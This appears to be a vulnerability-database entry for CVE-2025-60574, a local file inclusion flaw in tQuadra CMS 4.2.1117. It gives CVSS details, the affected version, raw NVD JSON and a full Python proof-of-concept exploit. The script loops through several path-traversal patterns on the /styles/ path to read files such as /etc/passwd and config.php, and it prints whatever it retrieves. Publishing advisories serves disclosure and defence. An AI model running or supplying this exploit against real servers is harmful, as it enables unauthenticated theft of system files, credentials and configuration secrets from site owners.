Security Vulnerability Report
中文
CVE-2025-60574 CVSS 7.5 HIGH

CVE-2025-60574

Published: 2025-11-07 22:15:39
Last Modified: 2025-12-11 23:39:19

Description

A Local File Inclusion (LFI) vulnerability has been identified in tQuadra CMS 4.2.1117. The issue exists in the "/styles/" path, which fails to properly sanitize user-supplied input. An attacker can exploit this by sending a crafted GET request to retrieve arbitrary files from the underlying system.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:webair:tquadra_cms:4.2.1117:*:*:*:*:*:*:* - VULNERABLE
tQuadra CMS 4.2.1117及之前版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-60574 PoC - tQuadra CMS LFI Vulnerability # Author: Security Researcher # Description: Local File Inclusion in tQuadra CMS 4.2.1117 /styles/ path import requests import sys import urllib.parse def exploit_lfi(target_url, file_path): """ Exploit the LFI vulnerability to read arbitrary files Args: target_url: Base URL of the vulnerable tQuadra CMS instance file_path: Path to the file to read (e.g., /etc/passwd) Returns: Content of the requested file or error message """ # Construct the malicious URL with path traversal # The vulnerability exists in the /styles/ endpoint params = { 'file': file_path } # Try different path traversal patterns traversal_patterns = [ f"../../../../../../{file_path}", f"../../../../../../../{file_path}", f"..%2F..%2F..%2F..%2F..%2F{file_path}", f"....//....//....//....//....//{file_path}" ] for pattern in traversal_patterns: try: exploit_url = f"{target_url}/styles/{pattern}" print(f"[*] Trying: {exploit_url}") response = requests.get(exploit_url, timeout=10) # Check if we got a successful response with file content if response.status_code == 200: # Verify if the response contains actual file content if 'root:' in response.text or 'daemon:' in response.text: print("[+] Success! File content retrieved:") print("=" * 60) print(response.text) print("=" * 60) return response.text elif '<?php' in response.text or '<?' in response.text: print("[+] Success! PHP source code retrieved:") print("=" * 60) print(response.text[:2000]) # Limit output print("=" * 60) return response.text except requests.RequestException as e: print(f"[-] Request failed: {e}") continue print("[-] Exploitation failed - no valid response received") return None def main(): if len(sys.argv) < 3: print("Usage: python3 cve-2025-60574.py <target_url> <file_path>") print("Example: python3 cve-2025-60574.py http://target.com /etc/passwd") print("Example: python3 cve-2025-60574.py http://target.com /var/www/html/config.php") sys.exit(1) target_url = sys.argv[1].rstrip('/') file_path = sys.argv[2] print(f"[*] Target: {target_url}") print(f"[*] Target File: {file_path}") print(f"[*] Vulnerability: CVE-2025-60574 - tQuadra CMS LFI") print() result = exploit_lfi(target_url, file_path) if result: print("\n[!] Vulnerability confirmed - LFI is exploitable") else: print("\n[-] Could not confirm vulnerability") if __name__ == '__main__': main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60574", "sourceIdentifier": "[email protected]", "published": "2025-11-07T22:15:39.210", "lastModified": "2025-12-11T23:39:19.343", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Local File Inclusion (LFI) vulnerability has been identified in tQuadra CMS 4.2.1117. The issue exists in the \"/styles/\" path, which fails to properly sanitize user-supplied input. An attacker can exploit this by sending a crafted GET request to retrieve arbitrary files from the underlying system."}, {"lang": "es", "value": "Una vulnerabilidad de inclusión local de ficheros (LFI) ha sido identificada en tQuadra CMS 4.2.1117. El problema existe en la ruta \"/styles/\", que no logra sanear correctamente la entrada proporcionada por el usuario. Un atacante puede explotar esto enviando una solicitud GET manipulada para recuperar ficheros arbitrarios del sistema subyacente."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}, {"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:webair:tquadra_cms:4.2.1117:*:*:*:*:*:*:*", "matchCriteriaId": "64F8BF93-0989-4C8A-BCEC-3CE5DC6B17C6"}]}]}], "references": [{"url": "https://github.com/jacopoaugelli/CVE-2025-60574", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}